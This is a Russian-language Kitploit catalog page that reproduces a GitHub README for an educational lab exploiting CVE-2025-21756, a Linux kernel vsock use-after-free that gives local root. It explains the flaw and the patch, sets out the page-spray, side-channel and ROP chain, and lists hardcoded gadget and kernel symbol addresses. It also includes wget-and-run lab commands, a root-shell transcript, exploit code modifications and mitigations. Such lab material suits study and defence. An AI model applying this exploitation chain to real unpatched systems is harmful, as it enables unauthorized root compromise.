Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-21756 — Образовательная лаборатория, демонстрирующая эксплуатацию use-after-free (UAF) в подсистеме vsock ядра Linux для локального повышения привилегий до root, с автоматической настройкой и анализом ROP-цепочек. | Kitploit
Инструменты/GitHubGitHub/h3raklez/cve-2025-21756
Повышение привилегийАнализ уязвимостейЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Образовательная лаборатория, демонстрирующая эксплуатацию use-after-free (UAF) в подсистеме vsock ядра Linux для локального повышения привилегий до root, с автоматической настройкой и анализом ROP-цепочек.

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-21756 — Лаборатория эксплуатации

Только для образовательных целей и авторизованных исследований безопасности.

Описание

CVE-2025-21756 — это use-after-free (UAF) уязвимость в подсистеме vsock (Virtual Socket) ядра Linux, раскрытая 26 февраля 2025 года. Она позволяет локальному атакующему повысить привилегии до root на уязвимых системах Linux.

  • CVSS v3.1: 7.8 (ВЫСОКИЙ)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Affected component: net/vmw_vsock/af_vsock.c
  • Affected kernel: Linux 6.6.75 (и более ранние незапатченные версии)

Корневая причина

Ошибка возникает во время переназначения транспорта сокета vsock. Уязвимая последовательность:

  1. vsock_create() создает сокет с refcnt=2 и вставляет его в список несвязанных сокетов
  2. transport->release() вызывает vsock_remove_bound() без проверки, был ли сокет перемещен в список связанных, что некорректно уменьшает refcnt
  3. vsock_bind() предполагает, что сокет все еще в списке несвязанных, и снова вызывает _vsock_remove_bound()
  4. refcnt преждевременно достигает 0 → объект vsock освобождается, пока на него еще есть ссылки → UAF

Примененный патч

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Цепочка эксплуатации

  1. Запуск UAF — Два последовательных вызова connect() с CID, которые приводят к разным транспортам, вызывают преждевременное освобождение объекта vsock, пока он все еще связан в vsock_bind_table
  2. Освобождение slab — Списки частичных SLUB очищаются, чтобы вернуть страницу жертвы аллокатору страниц
  3. Распыление страниц — Освобожденная страница перехватывается с помощью unix_dgram_sendmsg с сообщениями порядка 2 (MIGRATE_UNMOVABLE), заполняя ее контролируемыми данными
  4. Побочный канал — vsock_diag_dump (не защищенный AppArmor) используется как побочный канал для обнаружения момента перехвата страницы и определения точного смещения объекта жертвы внутри страницы
  5. Перехват RIP — sk->sk_prot перезаписывается для указания на udp_prot+0x1c0 (udp_abort), который при вызове активирует sk->sk_error_report(sk), чей указатель перезаписан гаджетом смещения стека
  6. Цепочка ROP — Выполняется commit_creds(init_cred) для присвоения процессу корневых учетных данных, за которым следует трамплин KPTI для возврата в пользовательское пространство

Требования

  • Debian 12 or 13 x86_64 (протестировано на Debian 13)
  • Обычный пользователь с доступом sudo
  • Минимальный объем ОЗУ: 1 ГБ
  • Свободное место на диске: 10 ГБ

Настройка лаборатории

root@kitploit:~
# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

Скрипт автоматически обрабатывает:

  • Установку sudo, если он отсутствует
  • Установку всех необходимых зависимостей (build-essential, qemu-system-x86, bc, pahole и т.д.)
  • Загрузку официальной среды Google kCTF (ядро lts-6.6.75, rootfs, ramdisk)
  • Загрузку эксплойта ktranowl и применение необходимых патчей
  • Компиляцию эксплойта
  • Создание среды выполнения с правильными параметрами
  • Создание run_lab.sh как единой точки входа

Запуск лаборатории

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

После загрузки среды выполните внутри нее:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Ожидаемый вывод

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Для выхода: Ctrl-A X


Модификации, примененные к оригинальному эксплойту

Базовый эксплойт взят из ktranowl. Были применены следующие модификации для его работы в этой среде:

1. KASLR disabled

Модификация: nokaslr добавлен в параметры загрузки ядра.

Причина: Оригинальный эксплойт обходит KASLR с помощью EntryBleed — метода побочного канала по времени TLB, требующего точного времени CPU. В среде вложенной виртуализации точность rdtsc недостаточна для надежной работы EntryBleed, что приводит к неправильному kbase, из-за чего все адреса, вычисленные с помощью ADDRESS(), оказываются неверными. Отключение KASLR гарантирует, что ядро всегда загружается по адресу 0xffffffff81000000, и жестко заданные смещения в эксплойте всегда корректны.

2. user_rip changed from modeprobe_exec to check_root

Модификация в exploit.c:

root@kitploit:~
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;

// After
uint64_t user_rip = (uint64_t)check_root;

Причина: modeprobe_exec — это метод повышения привилегий, использованный в оригинальном эксплойте для удаленной среды kCTF. Он требует аргументов командной строки (IP и порт удаленного сервера) и внешнего сетевого подключения. Без этих аргументов процесс аварийно завершается с GPF при попытке чтения argv[1]. check_root напрямую проверяет uid и выполняет /bin/sh, что достаточно для демонстрации эксплуатации в локальной среде.

3. Removed modeprobe_exec call inside check_root

Модификация в exploit.c:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Причина: Даже при указании user_rip на check_root, эта функция внутренне снова вызывала modeprobe_exec перед выполнением /bin/sh. Без необходимых аргументов этот вызов приводил к GPF, и процесс завершался без открытия оболочки, несмотря на то, что commit_creds уже успешно повысил привилегии.


Анализ цепочки ROP и символов

В процессе настройки лаборатории все символы ядра и гаджеты ROP были проверены на соответствие официальному ядру kCTF lts-6.6.75, чтобы подтвердить их валидность для этой среды.

ROP gadgets

Три гаджета, использованные в эксплойте, были извлечены из официального ядра с помощью ROPgadget из бинарного файла vmlinux и подтверждены как точно соответствующие жестко заданным значениям:

Ни один из них не потребовал модификации.

Kernel symbols

Следующие символы были проверены на соответствие /proc/kallsyms внутри ядра (с nokaslr смещения фиксированы):

Все значения совпали с оригинальными в эксплойте. Модификации не потребовались.

Note on address_contain_udp_abort

Это значение не указывает напрямую на функцию udp_abort. Оно указывает на udp_prot + 0x1c0, что является полем diag_destroy внутри struct proto. Это сделано намеренно: vsock_release вызывает sk->sk_prot->close(sk, 0), где close находится по смещению 0 от struct proto. Указывая sk_prot на udp_prot->diag_destroy вместо начала udp_prot, ядро читает diag_destroy так, как будто это указатель close, который содержит . Это приводит к цепочке: → , куда помещен гаджет смещения стека.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot points to udp_prot+0x1c0
    └── udp_abort(sk)              ← diag_destroy field, read as close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← stack pivot gadget
                └── ROP chain
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → root shell


Меры по смягчению

Официальный патч доступен с ядра 6.14-rc1 и был перенесен на все поддерживаемые ветки LTS. Затронутые дистрибутивы выпустили собственные уведомления:

  • Ubuntu: USN-7361-1 и более поздние
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 и более поздние

Ссылки


Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых нет явного письменного разрешения, является незаконным. Автор не несет ответственности за любое неправомерное использование.

Скачать инструмент
  • Корневая оболочка — execve("/bin/sh") с uid=0
  • ГаджетАдресНазначение
    pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Смещение стека — перемещает RSP в начало управляемого объекта vsock
    add rsp, 0xb8 ; jmp ...0xffffffff8170292cПродвижение стека — пропускает зарезервированные поля для достижения цепочки ROP
    pop rdi ; ret0xffffffff8115e4f9Загружает первый аргумент для commit_creds(init_cred)
    СимволАдресПримечания
    vsock_bind_table[0x7a]0xffffffff84bc6280Якорь побочного канала — слот списка vsock, куда попадает объект жертвы
    init_net0xffffffff84bb1f80Используется для проверки поддельного объекта vsock через vsock_diag_dump
    commit_creds0xffffffff811fdac0Назначает корневые учетные данные текущему процессу
    init_cred0xffffffff83c74d80Структура учетных данных с uid=gid=0, с фиксированным смещением от базы ядра
    kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — восстанавливает CR3 и возвращается в пользовательское пространство
    address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — см. примечание ниже
    udp_abort
    sk_error_report(sk)
    sk->sk_error_report(sk)
    АспектОригинал (ktranowl)Эта лаборатория
    Обход KASLREntryBleed (TLB timing)Disabled (nokaslr)
    Метод повышения привилегийmodeprobe_exec via core_patternexecve("/bin/sh") directly
    Целевая средаRemote kCTFLocal
    Требуется внешнее сетевое подключениеYesNo
    РесурсURL
    Оригинальная статья (Hoefler)https://hoefler.dev/articles/vsock.html
    Эксплойт Hoeflerhttps://github.com/hoefler02/CVE-2025-21756
    n-day анализ (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
    Эксплойт ktranowlhttps://github.com/khoatran107/cve-2025-21756
    Официальный патчhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
    NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
    Правила kCTFhttps://google.github.io/security-research/kernelctf/rules.html